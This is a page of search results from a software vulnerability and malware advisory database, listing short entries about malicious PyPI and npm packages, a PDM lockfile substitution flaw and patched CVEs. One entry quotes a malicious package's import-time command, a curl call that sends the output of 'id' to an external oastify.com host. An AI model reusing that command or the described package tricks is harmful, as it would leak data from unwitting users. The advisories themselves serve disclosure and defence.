10382 matches found
MAL-2026-6983 Malicious code in tronpak (PyPI)
--- -= Per source details. Do not edit below this line.=- Source: kam193 35790f872dd1f0fa6c17fca434134a08101946af27a0e2b4467e3b362f618e01 Package appears to be designed for private key exfiltration, but no known usage. The name appears to be related to the cryptocurrency TRX Tron / Tronix. Some...
MAL-2026-6979 Malicious code in turbod (PyPI)
--- -= Per source details. Do not edit below this line.=- Source: kam193 78d60e25c1258021c4fb69a93456c76ef1157be852c7b9dc7165290ca599b0f7 Starting version 1.0.7, the package contains obfuscated code and embedded binary that is executed during the import, sharing many similarities with package...
ROOT-APP-PYPI-CVE-2025-64458 CVE-2025-64458 in rootio-django - Patched by Root
Root has patched CVE-2025-64458 in the rootio-django package for Root:PyPI. Multiple fixed versions available...
ROOT-APP-PYPI-CVE-2024-45231 CVE-2024-45231 in rootio-django - Patched by Root
Root has patched CVE-2024-45231 in the rootio-django package for Root:PyPI. Multiple fixed versions available...
ROOT-APP-PYPI-CVE-2025-57833 CVE-2025-57833 in rootio-django - Patched by Root
Root has patched CVE-2025-57833 in the rootio-django package for Root:PyPI. Multiple fixed versions available...
ROOT-APP-PYPI-CVE-2026-48776 CVE-2026-48776 in rootio-langgraph-sdk - Patched by Root
Root has patched CVE-2026-48776 in the rootio-langgraph-sdk package for Root:PyPI. Multiple fixed versions available...
PYSEC-2026-1763 PDM Trojan Lockfile
Summary It's possible to craft a malicious pdm.lock file that could allow e.g. an insider or a malicious open source project to appear to depend on a trusted PyPI project, but actually install another project. Details Project foo can be targeted by creating the project foo-2 and uploading the fil...
PDM Trojan Lockfile
SummaryIt's possible to craft a malicious pdm.lock file that could allow e.g. an insider or a malicious open source project to appear to depend on a trusted PyPI project, but actually install another project. DetailsProject foo can be targeted by creating the project foo-2 and uploading the file...
ROOT-APP-PYPI-CVE-2026-25528 CVE-2026-25528 in rootio-langsmith - Patched by Root
Root has patched CVE-2026-25528 in the rootio-langsmith package for Root:PyPI. Multiple fixed versions available...
ROOT-APP-PYPI-CVE-2026-48804 CVE-2026-48804 in rootio-python-socketio - Patched by Root
Root has patched CVE-2026-48804 in the rootio-python-socketio package for Root:PyPI. Multiple fixed versions available...
PYSEC-2026-607 Malicious code in pantheon-agents (PyPI)
Part of the "Hades" wave of the Shai-Hulud supply-chain campaign. On 2026-06-08, malicious phantom releases of pantheon-agents were published to PyPI using stolen credentials. The package executes a bundled JavaScript payload via the Bun runtime on import that harvests and exfiltrates credentials...
MAL-2026-6478 Malicious code in mi-test-99-tuapellido (PyPI)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 4b71b66c156e0a54b73b6dd2f2f9e994ac9c1ff9ab4d1f9689f1f930b3097f39 On every import, the package's top-level init.py runs os.system"curl http://6krddfbeqw0pisps3egdsofu9lfc33vrk.oastify.com -d $id". This unconditional...
MAL-2026-6432 Malicious code in rstreams-metrics (npm)
The rstreams-metrics npm package was compromised as part of the Miasma worm campaign targeting the LeoPlatform npm ecosystem. On June 24, 2026, 20 LeoPlatform packages were published within a 3-second window by a threat actor who had taken over the npm account czirker belonging to the LeoPlatform...
ROOT-APP-PYPI-CVE-2024-3651 CVE-2024-3651 in rootio-idna - Patched by Root
Root has patched CVE-2024-3651 in the rootio-idna package for Root:PyPI. Multiple fixed versions available...
ROOT-APP-PYPI-CVE-2026-45409 CVE-2026-45409 in rootio-idna - Patched by Root
Root has patched CVE-2026-45409 in the rootio-idna package for Root:PyPI. Multiple fixed versions available...
ROOT-APP-PYPI-CVE-2026-46338 CVE-2026-46338 in rootio-pymdown-extensions - Patched by Root
Root has patched CVE-2026-46338 in the rootio-pymdown-extensions package for Root:PyPI. Multiple fixed versions available...
ROOT-APP-PYPI-CVE-2026-27199 CVE-2026-27199 in rootio-werkzeug - Patched by Root
Root has patched CVE-2026-27199 in the rootio-werkzeug package for Root:PyPI. Multiple fixed versions available...
ROOT-APP-PYPI-CVE-2020-26137 CVE-2020-26137 in rootio-urllib3 - Patched by Root
Root has patched CVE-2020-26137 in the rootio-urllib3 package for Root:PyPI. Multiple fixed versions available...